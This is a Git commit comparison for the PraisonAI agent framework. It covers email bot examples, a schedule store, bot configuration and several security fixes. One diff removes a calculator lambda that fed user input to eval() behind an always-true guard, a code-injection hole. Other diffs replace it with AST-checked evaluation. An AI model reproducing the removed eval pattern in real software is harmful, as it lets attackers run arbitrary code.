Compare commits

...
34 Commits
Author SHA1 Message Date
MervinPraison 85ae215025 fix(security): complete PR #1121 security fixes
- unified_server.py: Replace unsafe eval() with AST-safe math evaluation
  - Whitelist allowed characters (0-9, +, -, *, /, ., (, ), space)
  - Validate AST nodes before execution
  - Execute with empty __builtins__ to block dangerous functions

- api.py: Fix XSS vulnerability in markdown output
  - Use bleach to sanitize HTML output (not input)
  - Whitelist safe HTML tags and protocols
  - Block javascript:, data:, vbscript: URLs
  - Fallback to escape() if bleach unavailable
2026-03-30 13:56:54 +01:00
MervinPraison 056e4f5baa chore(.gitignore): update ignored files for agents
Added '.sfdx' to the .gitignore file and ensured '.agent' is also ignored.
2026-03-30 10:01:11 +01:00
Claude 8f06d18e5a fix(security): address multiple vulnerabilities from security audit (#1120)
- Fix eval() with always-true guard in unified_server.py (remove `or True`)
- Replace eval() with json.loads() for DB metadata in singlestore_vector.py
- Set ruamel.yaml to safe mode in applier.py
- Remove hardcoded MongoDB credentials, use env vars in example
- Sanitize markdown output with markupsafe to prevent XSS in api.py
- Add SSRF protection (private IP blocking) in readers.py and file_tools.py
- Add identifier sanitization and parameterized queries in clickhouse.py
- Add value escaping and identifier validation in lancedb.py and milvus.py
- Validate numeric params in surrealdb_vector.py and surrealdb.py
- Replace eval() with ast-based safe evaluation in workflow condition handlers
- Use AST-validated math expressions in MCP server examples

https://claude.ai/code/session_01KBmgWznPEYCEkc3Uy6A3r1
2026-03-21 13:27:13 +00:00
Mervin Praison f8c6f32d00 Release v4.5.80 2026-03-18 21:09:57 +00:00
Mervin Praison 69ff8e7f03 Release v4.5.79 2026-03-18 15:57:13 +00:00
Mervin Praison feaa81b68f Release v4.5.78 2026-03-18 15:28:36 +00:00
Mervin Praison 39406e904f feat(crawl4ai_tools): enhance availability checks for Crawl4AI and Playwright
Updated the availability check for Crawl4AI to include Playwright browser installation advice. Improved error handling when starting the web crawler, ensuring users are informed if necessary binaries are missing. Incremented version in pyproject.toml to 1.5.78 and added new dependencies for crawling functionality.
2026-03-18 15:26:43 +00:00
Mervin Praison 2bb37b1076 Release v4.5.77 2026-03-18 14:46:46 +00:00
Mervin Praison cc36ac1cf8 feat(scheduler): add execution history logging for scheduled jobs
Implemented logging for job execution history via a new RunRecord class.
This includes methods for logging job runs, retrieving execution history,
and persisting the history to a file. Enhancements to the config store
allow for configurable maximum history depth, improving traceability
of job executions.
2026-03-18 14:39:41 +00:00
Mervin Praison a041a76f0d Release v4.5.76 2026-03-18 11:08:18 +00:00
Mervin Praison f77cca9931 feat(scheduler): add ConfigYamlScheduleStore for schedule management
Introduced a new schedule store utilizing YAML files for
persistence. This allows scheduled jobs to be stored under
the "schedules" key in the existing config.yaml, enhancing
thread safety and maintaining existing config information.
Updated related modules to integrate the new store.
2026-03-18 11:07:33 +00:00
Mervin Praison ef176298b9 feat(scheduler): implement ScheduleStoreProtocol for better schedule management
Added a new ScheduleStoreProtocol to standardize schedule persistence backends.
Updated ScheduleLoop and ScheduleRunner to use the protocol, allowing various
implementations for schedule storage. Introduced _run_schedule_loop in BotOS
to ensure scheduled jobs execute alongside bot tasks. Updated project version to
1.5.75 for this update.
2026-03-18 10:52:42 +00:00
Mervin Praison 31f5cbb1cf Release v4.5.74 2026-03-17 14:57:13 +00:00
Mervin Praison 85ec6cba90 feat(web_crawl_tools): enhance URL handling in web_crawl function
Improved the URL normalization logic to handle comma-separated URLs
passed as a single string. Updated version numbers in pyproject.toml
and uv.lock files to reflect the latest changes.
2026-03-17 14:54:27 +00:00
Mervin Praison c77259eda7 Release v4.5.73 2026-03-17 12:11:44 +00:00
Mervin Praison e69e726ca6 refactor(tools): rename web_crawl.py to web_crawl_tools.py
Updated the import paths in TOOL_MAPPINGS to reflect the new file name.
Bumped version to 1.5.73 in pyproject.toml and uv.lock for the change.
2026-03-17 12:08:30 +00:00
Mervin Praison 3130ae4e19 Release v4.5.72 2026-03-17 11:17:13 +00:00
Mervin Praison c872be20ed feat(email_tools): enhance backend detection and streamline usage
Updated email_tools to auto-detect available email backends (AgentMail or SMTP) based on environment variables. This refactor simplifies usage by providing generic tools while maintaining backend-specific functionalities. Enhanced documentation to reflect these changes and improve usability.
2026-03-17 11:14:39 +00:00
Mervin Praison 4548783a40 Release v4.5.71 2026-03-17 10:41:33 +00:00
Mervin Praison 5b1c39d496 feat(bots): add mode and webhook port configurability
Enhanced BotConfig and related classes to support multiple operation modes (poll, ws, webhook, hybrid) and configurable webhook port. Updated documentation and validation for new parameters in the AgentMailBot for improved flexibility in message handling. Bumped version to 1.5.71.
2026-03-17 10:38:13 +00:00
Mervin Praison 1e3933f5f3 Release v4.5.70 2026-03-17 08:14:59 +00:00
Mervin Praison 203ebe4960 ```
feat(email_tools): add reply_email and create_inbox functions

Implemented reply_email for responding to emails and create_inbox for
creating new email inboxes in the AgentMail system. Updated integration
in the tool mappings and profiles to include new functionalities.
Enhanced tests to cover the new features.
```
2026-03-17 08:12:11 +00:00
Mervin Praison e144d840bb Release v4.5.69 2026-03-16 21:43:41 +00:00
Mervin Praison 47bff65413 feat(mcp): enhance command validation in MCPHandler
Added an allowlist for MCP server commands to improve security by
rejecting disallowed and dangerous commands in the MCPHandler class.
Updated tests to verify the new validation logic and ensure expected
executables are accepted. Bumped version to 1.5.69.
2026-03-16 21:39:47 +00:00
Mervin Praison 66bd9ee2a9 Release v4.5.68 2026-03-16 17:48:36 +00:00
github-actions[bot] 1dd5d7e706 docs: auto-update api.md [skip ci] 2026-03-16 17:45:42 +00:00
Mervin Praison fee74fab53 ```
feat(email): add AgentMail tools for sending and managing emails

- Introduced send_email, list_emails, and read_email functions.
- Added email_tools module for agent interaction.
- Updated tool mappings to include email functionalities.
- Included example YAML configuration for an AgentMail bot.
- Enhanced tests for email tools and added new test cases.
```
2026-03-16 17:45:17 +00:00
Mervin Praison 003f9371a1 Release v4.5.67 2026-03-16 16:31:48 +00:00
Mervin Praison 7234cd5682 ```
feat(bots): add email bot examples and functionalities

This commit introduces a new email bot feature, enabling agents to
interact through email via IMAP/SMTP. It includes example usage,
custom configurations, and a multi-platform approach, enhancing the
bot's usability in diverse environments.
```
2026-03-16 16:31:23 +00:00
Mervin Praison 4373fb3adb docs(README): update performance metrics and clarify agent orchestration
Refined performance section to emphasize speed and reduced overhead.
Updated terminology for clarity in the external agents description.
2026-03-16 12:11:56 +00:00
Mervin Praison e87dd8e37a ```
docs(readme): refine performance section and enhance descriptions

Updated the performance metrics and descriptions to clarify advantages of PraisonAI. Improved consistency in terminology for better readability.
```
2026-03-16 12:08:35 +00:00
Mervin Praison 872cd87638 Release v4.5.65 2026-03-16 12:00:17 +00:00
Mervin Praison 8ea0065f83 ```
feat(bots): add EmailBot for IMAP polling and SMTP sending

This commit introduces the EmailBot, enabling integration with email
services using IMAP for receiving messages and SMTP for sending.
Updates include new environment variables for configuration,
enhancements to the bot registry, and modifications to schema and
initialization logic for seamless integration.
```
2026-03-16 11:58:55 +00:00
Mervin Praison e922eb1e64 Release v4.5.64 2026-03-16 10:02:40 +00:00
75 changed files with 7004 additions and 247 deletions

No files matched your search

+4 -9
View File
@@ -50,16 +50,11 @@ PraisonAI 🦞 — Automate and solve complex challenges with AI agent teams tha
## ⚡ Performance
PraisonAI Agents is the **fastest AI agent framework** for agent instantiation.
PraisonAI is built for speed, with agent instantiation in under 4μs. This reduces overhead, improves responsiveness, and helps multi-agent systems scale efficiently in real-world production workloads.
| Framework | Avg Time (μs) | Relative |
|-----------|---------------|----------|
| **PraisonAI** | **3.77** | **1.00x (fastest)** |
| OpenAI Agents SDK | 5.26 | 1.39x |
| Agno | 5.64 | 1.49x |
| PraisonAI (LiteLLM) | 7.56 | 2.00x |
| PydanticAI | 226.94 | 60.16x |
| LangGraph | 4,558.71 | 1,209x |
| Performance Metric | PraisonAI |
|--------------------|-----------|
| Avg Instantiation Time | **3.77 μs** |
---
+2
View File
@@ -784,8 +784,10 @@ Methods:
* <code title="cli">praisonai benchmark profile <a href="./src/praisonai/praisonai/cli/commands/benchmark.py">--help</a></code>
* <code title="cli">praisonai benchmark sdk <a href="./src/praisonai/praisonai/cli/commands/benchmark.py">--help</a></code>
* <code title="cli">praisonai benchmark workflow <a href="./src/praisonai/praisonai/cli/commands/benchmark.py">--help</a></code>
* <code title="cli">praisonai bot agentmail <a href="./src/praisonai/praisonai/cli/commands/bot.py">--help</a></code>
* <code title="cli">praisonai bot bot-callback <a href="./src/praisonai/praisonai/cli/commands/bot.py">--help</a></code>
* <code title="cli">praisonai bot discord <a href="./src/praisonai/praisonai/cli/commands/bot.py">--help</a></code>
* <code title="cli">praisonai bot email <a href="./src/praisonai/praisonai/cli/commands/bot.py">--help</a></code>
* <code title="cli">praisonai bot slack <a href="./src/praisonai/praisonai/cli/commands/bot.py">--help</a></code>
* <code title="cli">praisonai bot start <a href="./src/praisonai/praisonai/cli/commands/bot.py">--help</a></code>
* <code title="cli">praisonai bot telegram <a href="./src/praisonai/praisonai/cli/commands/bot.py">--help</a></code>
+1 -1
View File
@@ -16,7 +16,7 @@ RUN mkdir -p /root/.praison
# Install Python packages (using latest versions)
RUN pip install --no-cache-dir \
praisonai_tools \
"praisonai>=4.5.63" \
"praisonai>=4.5.80" \
"praisonai[chat]" \
"embedchain[github,youtube]"
+1 -1
View File
@@ -20,7 +20,7 @@ RUN mkdir -p /root/.praison
# Install Python packages (using latest versions)
RUN pip install --no-cache-dir \
praisonai_tools \
"praisonai>=4.5.63" \
"praisonai>=4.5.80" \
"praisonai[ui]" \
"praisonai[chat]" \
"praisonai[realtime]" \
+1 -1
View File
@@ -16,7 +16,7 @@ RUN mkdir -p /root/.praison
# Install Python packages (using latest versions)
RUN pip install --no-cache-dir \
praisonai_tools \
"praisonai>=4.5.63" \
"praisonai>=4.5.80" \
"praisonai[ui]" \
"praisonai[crewai]"
+11 -1
View File
@@ -23,12 +23,22 @@ def main():
@register_tool("custom.calculate")
def calculate(expression: str) -> str:
"""Safely evaluate a mathematical expression."""
import ast
import operator
try:
# Only allow safe math operations
allowed = set("0123456789+-*/.(). ")
if not all(c in allowed for c in expression):
return "Error: Invalid characters in expression"
result = eval(expression) # Safe due to character filtering
# Use ast.parse for safe evaluation of math expressions
tree = ast.parse(expression, mode='eval')
# Only allow numeric literals and basic math operators
for node in ast.walk(tree):
if not isinstance(node, (ast.Expression, ast.BinOp, ast.UnaryOp,
ast.Constant, ast.Add, ast.Sub, ast.Mult,
ast.Div, ast.USub, ast.UAdd)):
return "Error: Only basic math operations are allowed"
result = eval(compile(tree, '<expr>', 'eval'), {"__builtins__": {}})
return f"Result: {result}"
except Exception as e:
return f"Error: {e}"
+216
View File
@@ -0,0 +1,216 @@
"""
Email Bot Example — Deploy an AI Agent to Your Mailbox
This example shows how to deploy PraisonAI agents as email bots
using IMAP/SMTP. The bot monitors an inbox, processes incoming emails,
and replies intelligently using an LLM-powered agent.
Supported providers:
- Gmail (with App Password)
- Outlook/Microsoft 365
- Any IMAP/SMTP server
Environment Variables:
export OPENAI_API_KEY=your_key
export [email protected]
export EMAIL_APP_PASSWORD=your_app_password
export EMAIL_IMAP_SERVER=imap.gmail.com # optional, default: imap.gmail.com
export EMAIL_SMTP_SERVER=smtp.gmail.com # optional, default: smtp.gmail.com
Usage:
python bot_email_example.py
"""
import asyncio
import os
from praisonaiagents import Agent
# ── Example 1: Minimal — Bot() wrapper (recommended) ──────────────
def example_minimal():
"""Minimal email bot — 3 lines to start."""
from praisonai.bots import Bot
agent = Agent(
name="email_assistant",
instructions="You are a helpful email assistant. Reply concisely and professionally.",
llm="gpt-4o-mini",
)
# Token and server resolved from env vars automatically:
# EMAIL_APP_PASSWORD, EMAIL_ADDRESS, EMAIL_IMAP_SERVER, EMAIL_SMTP_SERVER
bot = Bot("email", agent=agent)
bot.run() # Blocks until Ctrl+C
# ── Example 2: Custom configuration ───────────────────────────────
def example_with_config():
"""Email bot with explicit configuration."""
from praisonai.bots import Bot
from praisonaiagents import BotConfig
config = BotConfig(
polling_interval=30.0, # Check inbox every 30s
allowed_users=[ # Only respond to these senders
"[email protected]",
"[email protected]",
],
max_message_length=10000, # Allow long email replies
session_ttl=86400, # Clear session after 24h inactivity
metadata={
"imap_folder": "INBOX", # Which folder to monitor
},
)
agent = Agent(
name="support_agent",
instructions="""You are a technical support agent for ExampleCo.
Guidelines:
- Be professional and empathetic
- Provide clear step-by-step solutions
- If you don't know the answer, escalate to [email protected]
- Keep replies under 500 words
""",
llm="gpt-4o-mini",
)
bot = Bot("email", agent=agent, config=config)
bot.run()
# ── Example 3: Direct EmailBot with custom handlers ──────────────
def example_direct():
"""Direct EmailBot usage with custom message handler and commands."""
from praisonai.bots import EmailBot
agent = Agent(
name="smart_inbox",
instructions="You help triage and respond to support emails.",
llm="gpt-4o-mini",
)
bot = EmailBot(
token=os.environ.get("EMAIL_APP_PASSWORD", ""),
agent=agent,
email_address=os.environ.get("EMAIL_ADDRESS", ""),
imap_server=os.environ.get("EMAIL_IMAP_SERVER", "imap.gmail.com"),
smtp_server=os.environ.get("EMAIL_SMTP_SERVER", "smtp.gmail.com"),
)
# Custom message handler — runs on every incoming email
@bot.on_message
async def log_incoming(message):
print(f"📧 New email from: {message.sender.username}")
print(f" Subject: {message.metadata.get('subject', '(no subject)')}")
# Custom command — triggered when subject starts with "/status"
@bot.on_command("status")
async def handle_status(message):
await bot.send_message(
channel_id=message.sender.user_id,
content={
"subject": "Re: Bot Status",
"body": f"🤖 Bot is running!\nProcessed emails: {bot._emails_processed}",
},
reply_to=message.message_id,
)
asyncio.run(bot.start())
# ── Example 4: Multi-platform with BotOS ─────────────────────────
def example_multi_platform():
"""Run email bot alongside Telegram and Discord bots."""
from praisonai.bots import BotOS, Bot
agent = Agent(
name="omni_assistant",
instructions="You are a helpful assistant available on email, Telegram, and Discord.",
llm="gpt-4o-mini",
)
botos = BotOS(agent=agent, platforms=["email", "telegram", "discord"])
botos.run() # All three bots run concurrently
# ── Example 5: Probe connectivity ─────────────────────────────────
async def example_probe():
"""Test email server connectivity without starting the bot."""
from praisonai.bots import Bot
bot = Bot("email")
result = await bot.probe()
print(f"Connection OK: {result.ok}")
print(f"Platform: {result.platform}")
if result.bot_username:
print(f"Email: {result.bot_username}")
if result.error:
print(f"Error: {result.error}")
print(f"Latency: {result.elapsed_ms:.0f}ms")
# ── Example 6: YAML config (for praisonai bot CLI) ───────────────
YAML_EXAMPLE = """
# bot.yaml — Save this file and run: praisonai bot --config bot.yaml
agent:
name: email_support
instructions: >
You are a professional support agent.
Reply concisely and helpfully.
llm: gpt-4o-mini
tools:
- search_web
platforms:
email:
token: ${EMAIL_APP_PASSWORD}
"""
# ── Main ──────────────────────────────────────────────────────────
if __name__ == "__main__":
import sys
examples = {
"minimal": ("Minimal email bot", example_minimal),
"config": ("With custom config", example_with_config),
"direct": ("Direct EmailBot with handlers", example_direct),
"multi": ("Multi-platform (email+telegram+discord)", example_multi_platform),
"probe": ("Test connectivity", lambda: asyncio.run(example_probe())),
}
if len(sys.argv) > 1 and sys.argv[1] in examples:
name = sys.argv[1]
desc, fn = examples[name]
print(f"Running: {desc}")
fn()
else:
print("PraisonAI Email Bot Examples")
print("=" * 40)
print()
print("Usage: python bot_email_example.py <example>")
print()
print("Available examples:")
for key, (desc, _) in examples.items():
print(f" {key:10s} {desc}")
print()
print("Required environment variables:")
print(" OPENAI_API_KEY Your OpenAI API key")
print(" EMAIL_ADDRESS Bot's email address")
print(" EMAIL_APP_PASSWORD App password (Gmail: myaccount.google.com/apppasswords)")
print()
print("Optional:")
print(" EMAIL_IMAP_SERVER IMAP server (default: imap.gmail.com)")
print(" EMAIL_SMTP_SERVER SMTP server (default: smtp.gmail.com)")
print()
print("YAML config example:")
print(YAML_EXAMPLE)
+11 -3
View File
@@ -44,12 +44,20 @@ def main():
def calculate(expression: str) -> str:
"""Calculate a math expression safely."""
import ast
try:
# Safe eval for basic math
allowed = set("0123456789+-*/.() ")
if all(c in allowed for c in expression):
return str(eval(expression))
return "Error: Invalid expression"
if not all(c in allowed for c in expression):
return "Error: Invalid expression"
# Use ast.parse to validate expression safety
tree = ast.parse(expression, mode='eval')
for node in ast.walk(tree):
if not isinstance(node, (ast.Expression, ast.BinOp, ast.UnaryOp,
ast.Constant, ast.Add, ast.Sub, ast.Mult,
ast.Div, ast.USub, ast.UAdd)):
return "Error: Only basic math operations are allowed"
return str(eval(compile(tree, '<expr>', 'eval'), {"__builtins__": {}}))
except Exception as e:
return f"Error: {e}"
+22 -1
View File
@@ -135,9 +135,30 @@ def main():
return {"error": str(e)}
# MCP endpoints
def safe_calculate(expression: str) -> str:
"""Safely evaluate a mathematical expression using AST."""
import ast
try:
# Only allow safe math characters
allowed = set("0123456789+-*/.() ")
if not all(c in allowed for c in expression):
return "Error: Invalid characters in expression"
# Use ast.parse for safe evaluation
tree = ast.parse(expression, mode='eval')
# Only allow numeric literals and basic math operators
for node in ast.walk(tree):
if not isinstance(node, (ast.Expression, ast.BinOp, ast.UnaryOp,
ast.Constant, ast.Add, ast.Sub, ast.Mult,
ast.Div, ast.USub, ast.UAdd)):
return "Error: Only basic math operations are allowed"
result = eval(compile(tree, '<expr>', 'eval'), {"__builtins__": {}})
return str(result)
except Exception as e:
return f"Error: {e}"
mcp_tools = {
"search": {"description": "Search the web", "func": lambda q: f"Results for: {q}"},
"calculate": {"description": "Calculate expression", "func": lambda e: str(eval(e)) if e.replace(" ", "").replace("+", "").replace("-", "").replace("*", "").replace("/", "").replace(".", "").isdigit() or True else "Error"},
"calculate": {"description": "Calculate expression", "func": safe_calculate},
}
@app.get("/mcp/tools")
+27
View File
@@ -0,0 +1,27 @@
# PraisonAI AgentMail Bot Configuration (Zero-Code)
#
# AgentMail = API-first email (no IMAP/SMTP). Programmatic inboxes.
#
# Usage:
# praisonai bot start --config agentmail-bot.yaml
#
# Requires:
# pip install praisonai agentmail
# export AGENTMAIL_API_KEY=am_...
#
# Optional env vars:
# AGENTMAIL_INBOX_ID=inbox_... (reuse existing inbox)
# AGENTMAIL_DOMAIN=mycompany.com (custom domain for new inboxes)
# Agent configuration
agent:
name: "Email Assistant"
instructions: "You are a helpful email assistant. Keep replies concise and professional."
model: "gpt-4o-mini"
memory: true
# Channel configuration (multi-channel format)
channels:
agentmail:
token: "${AGENTMAIL_API_KEY}"
# Optional: inbox_id, domain are resolved from env vars automatically
+2 -1
View File
@@ -93,4 +93,5 @@ chroma_db/
.praisonai
.windsurf
.agent
.agent
.sfdx
+4 -2
View File
@@ -1,3 +1,5 @@
import os
from praisonaiagents import Agent, Task, AgentTeam
from praisonaiagents.memory import Memory
from praisonaiagents.agent import ContextAgent
@@ -10,7 +12,7 @@ context_output = context_agent.start("https://github.com/MervinPraison/PraisonAI
mongodb_memory_config = {
"provider": "mongodb",
"config": {
"connection_string": "mongodb+srv://username:[email protected]/?retryWrites=true&w=majority&appName=Cluster2",
"connection_string": os.environ.get("MONGODB_CONNECTION_STRING", "mongodb+srv://localhost:27017/?retryWrites=true&w=majority"),
"database": "praisonai_memory",
"use_vector_search": True,
"max_pool_size": 50,
@@ -49,7 +51,7 @@ print("\n=== MEMORY VALIDATION ===")
try:
# Check MongoDB connection and collections
client = pymongo.MongoClient("mongodb+srv://username:[email protected]/?retryWrites=true&w=majority&appName=Cluster2")
client = pymongo.MongoClient(os.environ.get("MONGODB_CONNECTION_STRING", "mongodb+srv://localhost:27017/?retryWrites=true&w=majority"))
db = client["praisonai_memory"]
collections = db.list_collection_names()
print(f"Available collections: {collections}")
@@ -22,6 +22,8 @@ if TYPE_CHECKING:
ChatCommandProtocol,
ProbeResult,
HealthResult,
EmailProtocol,
EmailInbox,
)
from .protocols import (
BotProtocol,
@@ -37,6 +39,8 @@ from .protocols import (
BotOSProtocol,
ProbeResult,
HealthResult,
EmailProtocol,
EmailInbox,
)
from .config import BotConfig, BotOSConfig
@@ -56,4 +60,6 @@ __all__ = [
"BotOSConfig",
"ProbeResult",
"HealthResult",
"EmailProtocol",
"EmailInbox",
]
@@ -29,8 +29,10 @@ class BotConfig:
"""
token: str = ""
mode: str = "poll" # poll | ws | webhook | hybrid
webhook_url: Optional[str] = None
webhook_path: str = "/webhook"
webhook_port: int = 8080
polling_interval: float = 1.0
allowed_users: List[str] = field(default_factory=list)
allowed_channels: List[str] = field(default_factory=list)
@@ -77,8 +79,10 @@ class BotConfig:
"""Convert to dictionary (hides sensitive data)."""
return {
"token": "***" if self.token else None,
"mode": self.mode,
"webhook_url": self.webhook_url,
"webhook_path": self.webhook_path,
"webhook_port": self.webhook_port,
"polling_interval": self.polling_interval,
"allowed_users": self.allowed_users,
"allowed_channels": self.allowed_channels,
@@ -102,7 +106,17 @@ class BotConfig:
@property
def is_webhook_mode(self) -> bool:
"""Whether bot is configured for webhook mode."""
return bool(self.webhook_url)
return self.mode == "webhook" or bool(self.webhook_url)
@property
def is_ws_mode(self) -> bool:
"""Whether bot is configured for WebSocket mode."""
return self.mode == "ws"
@property
def is_hybrid_mode(self) -> bool:
"""Whether bot is configured for hybrid mode (WS + slow poll)."""
return self.mode == "hybrid"
def is_user_allowed(self, user_id: str) -> bool:
"""Check if a user is allowed to interact with the bot."""
@@ -613,6 +613,96 @@ class ChatCommandProtocol(Protocol):
...
# ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
# EmailProtocol — email-specific bot capabilities
# ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
@dataclass
class EmailInbox:
"""Information about an email inbox.
Attributes:
id: Unique inbox identifier
email_address: The inbox's email address
domain: Domain of the inbox
created_at: When the inbox was created (ISO format)
"""
id: str
email_address: str
domain: str = ""
created_at: Optional[str] = None
def to_dict(self) -> Dict[str, Any]:
"""Convert to dictionary."""
return {
"id": self.id,
"email_address": self.email_address,
"domain": self.domain,
"created_at": self.created_at,
}
@runtime_checkable
class EmailProtocol(Protocol):
"""Protocol for email bots with inbox lifecycle management.
Extends BotProtocol with email-specific capabilities like
programmatic inbox creation, listing, and deletion.
This protocol is optional — only AgentMail-style bots that
support API-based inbox management need to implement it.
Traditional IMAP/SMTP bots (EmailBot) do not implement this.
Example:
# Check if a bot supports inbox management
if isinstance(bot, EmailProtocol):
inbox = await bot.create_inbox(domain="mycompany.com")
print(f"Created: {inbox['email_address']}")
"""
@property
def email_address(self) -> Optional[str]:
"""The bot's current email address."""
...
async def create_inbox(
self,
domain: Optional[str] = None,
**kwargs,
) -> Dict[str, Any]:
"""Create a new email inbox programmatically.
Args:
domain: Optional custom domain for the inbox
**kwargs: Additional provider-specific parameters
Returns:
Dict with at least 'id' and 'email_address' keys
"""
...
async def list_inboxes(self) -> List[Dict[str, Any]]:
"""List all inboxes accessible to this bot.
Returns:
List of inbox dicts with 'id' and 'email_address' keys
"""
...
async def delete_inbox(self, inbox_id: str) -> bool:
"""Delete an inbox.
Args:
inbox_id: ID of the inbox to delete
Returns:
True if deleted successfully
"""
...
# ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
# BotOS Protocol — multi-platform bot orchestration
# ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
@@ -361,6 +361,16 @@ def get_project_prp_dir(project_path: Optional[Union[str, Path]] = None) -> Path
return get_project_data_dir(project_path) / "prp"
def get_config_path() -> Path:
"""
Get path to the main config.yaml file.
Returns:
Path to ~/.praisonai/config.yaml
"""
return get_data_dir() / "config.yaml"
def get_schedules_dir() -> Path:
"""
Get schedules directory.
@@ -14,17 +14,19 @@ Usage:
)
agent.start("Remind me to check email every morning at 7am")
Default storage: ~/.praisonai/schedules/jobs.json
Default storage: ~/.praisonai/config.yaml (under ``schedules`` key)
"""
from typing import TYPE_CHECKING
if TYPE_CHECKING:
from .models import Schedule, ScheduleJob, DeliveryTarget
from .models import Schedule, ScheduleJob, DeliveryTarget, RunRecord
from .store import FileScheduleStore
from .config_store import ConfigYamlScheduleStore
from .parser import parse_schedule
from .runner import ScheduleRunner
from .loop import ScheduleLoop
from .protocols import ScheduleStoreProtocol
_module_cache = {}
@@ -34,11 +36,12 @@ def __getattr__(name: str):
if name in _module_cache:
return _module_cache[name]
if name in ("Schedule", "ScheduleJob", "DeliveryTarget"):
from .models import Schedule, ScheduleJob, DeliveryTarget
if name in ("Schedule", "ScheduleJob", "DeliveryTarget", "RunRecord"):
from .models import Schedule, ScheduleJob, DeliveryTarget, RunRecord
_module_cache["Schedule"] = Schedule
_module_cache["ScheduleJob"] = ScheduleJob
_module_cache["DeliveryTarget"] = DeliveryTarget
_module_cache["RunRecord"] = RunRecord
return _module_cache[name]
if name == "FileScheduleStore":
@@ -61,6 +64,16 @@ def __getattr__(name: str):
_module_cache[name] = ScheduleLoop
return ScheduleLoop
if name == "ConfigYamlScheduleStore":
from .config_store import ConfigYamlScheduleStore
_module_cache[name] = ConfigYamlScheduleStore
return ConfigYamlScheduleStore
if name == "ScheduleStoreProtocol":
from .protocols import ScheduleStoreProtocol
_module_cache[name] = ScheduleStoreProtocol
return ScheduleStoreProtocol
raise AttributeError(f"module {__name__!r} has no attribute {name!r}")
@@ -68,8 +81,11 @@ __all__ = [
"Schedule",
"ScheduleJob",
"DeliveryTarget",
"RunRecord",
"FileScheduleStore",
"ConfigYamlScheduleStore",
"parse_schedule",
"ScheduleRunner",
"ScheduleLoop",
"ScheduleStoreProtocol",
]
@@ -0,0 +1,257 @@
"""
Config YAML-based schedule store for PraisonAI Agents.
Persists scheduled jobs to ``~/.praisonai/config.yaml`` under
the ``schedules`` top-level key. Thread-safe, preserves all
other config.yaml content.
"""
import logging
import os
import threading
import time
from typing import Dict, List, Optional
from .models import ScheduleJob, RunRecord
logger = logging.getLogger(__name__)
_HISTORY_FILE = "run_history.yaml"
_MAX_HISTORY = 200
class ConfigYamlScheduleStore:
"""CRUD store backed by ``config.yaml``.
Schedules are stored as a dict under the ``schedules`` key,
alongside existing keys like ``agents``, ``server``, etc.
Thread-safe for multi-agent scenarios.
"""
def __init__(self, config_path: Optional[str] = None, max_history: int = _MAX_HISTORY):
if config_path is None:
from ..paths import get_data_dir
config_path = str(get_data_dir() / "config.yaml")
self._path = config_path
self._history_path = os.path.join(os.path.dirname(config_path), _HISTORY_FILE)
self._max_history = max_history
self._lock = threading.RLock()
self._jobs: Dict[str, ScheduleJob] = {}
self._history: List[RunRecord] = []
self._load()
self._load_history()
# ── public API ───────────────────────────────────────────────────
def add(self, job: ScheduleJob) -> None:
"""Add a job. Raises ``ValueError`` if id already exists."""
with self._lock:
if job.id in self._jobs:
raise ValueError(f"Job '{job.id}' already exists")
self._jobs[job.id] = job
self._save()
def get(self, job_id: str) -> Optional[ScheduleJob]:
with self._lock:
return self._jobs.get(job_id)
def get_by_name(self, name: str) -> Optional[ScheduleJob]:
with self._lock:
for job in self._jobs.values():
if job.name == name:
return job
return None
def list(self, agent_id: Optional[str] = None) -> List[ScheduleJob]:
with self._lock:
jobs = list(self._jobs.values())
if agent_id is not None:
jobs = [j for j in jobs if j.agent_id == agent_id]
return jobs
def update(self, job: ScheduleJob) -> None:
with self._lock:
self._jobs[job.id] = job
self._save()
def remove(self, job_id: str) -> bool:
with self._lock:
if job_id in self._jobs:
del self._jobs[job_id]
self._save()
return True
return False
def remove_by_name(self, name: str) -> bool:
with self._lock:
for jid, job in list(self._jobs.items()):
if job.name == name:
del self._jobs[jid]
self._save()
return True
return False
# ── execution history ─────────────────────────────────────────────
def log_run(
self,
job_id: str,
status: str,
result: Optional[str] = None,
error: Optional[str] = None,
duration: float = 0.0,
delivered: bool = False,
job_name: str = "",
) -> None:
"""Log an execution run for a job."""
record = RunRecord(
job_id=job_id,
job_name=job_name,
status=status,
result=result[:2000] if result and len(result) > 2000 else result,
error=error,
duration=duration,
delivered=delivered,
timestamp=time.time(),
)
with self._lock:
self._history.insert(0, record)
# Prune to max_history
if len(self._history) > self._max_history:
self._history = self._history[:self._max_history]
self._save_history()
def get_history(
self,
job_id: Optional[str] = None,
limit: int = 200,
) -> List[RunRecord]:
"""Get execution history records, newest first."""
with self._lock:
records = list(self._history)
if job_id is not None:
records = [r for r in records if r.job_id == job_id]
return records[:limit]
# ── persistence ──────────────────────────────────────────────────
def _load(self) -> None:
"""Load schedule jobs from config.yaml's ``schedules`` section."""
if not os.path.exists(self._path):
return
try:
import yaml
with open(self._path, "r") as f:
data = yaml.safe_load(f) or {}
schedules = data.get("schedules", {})
if isinstance(schedules, dict):
for job_id, job_data in schedules.items():
if isinstance(job_data, dict) and job_data.get("name"):
job_data.setdefault("id", job_id)
job = ScheduleJob.from_dict(job_data)
self._jobs[job.id] = job
except Exception as e:
logger.warning("Failed to load schedules from %s: %s", self._path, e)
def _save(self) -> None:
"""Write schedule jobs into config.yaml's ``schedules`` key.
Preserves all other top-level keys (agents, server, etc.).
"""
try:
import yaml
# Read existing config
data: dict = {}
if os.path.exists(self._path):
with open(self._path, "r") as f:
data = yaml.safe_load(f) or {}
# Update only the schedules section
schedules = {}
for job in self._jobs.values():
schedules[job.id] = job.to_dict()
data["schedules"] = schedules
# Atomic write
os.makedirs(os.path.dirname(self._path), exist_ok=True)
tmp = self._path + ".tmp"
with open(tmp, "w") as f:
yaml.dump(data, f, default_flow_style=False, sort_keys=False)
os.replace(tmp, self._path)
except Exception as e:
logger.warning("Failed to save schedules to %s: %s", self._path, e)
def _load_history(self) -> None:
"""Load execution history from run_history.yaml."""
if not os.path.exists(self._history_path):
return
try:
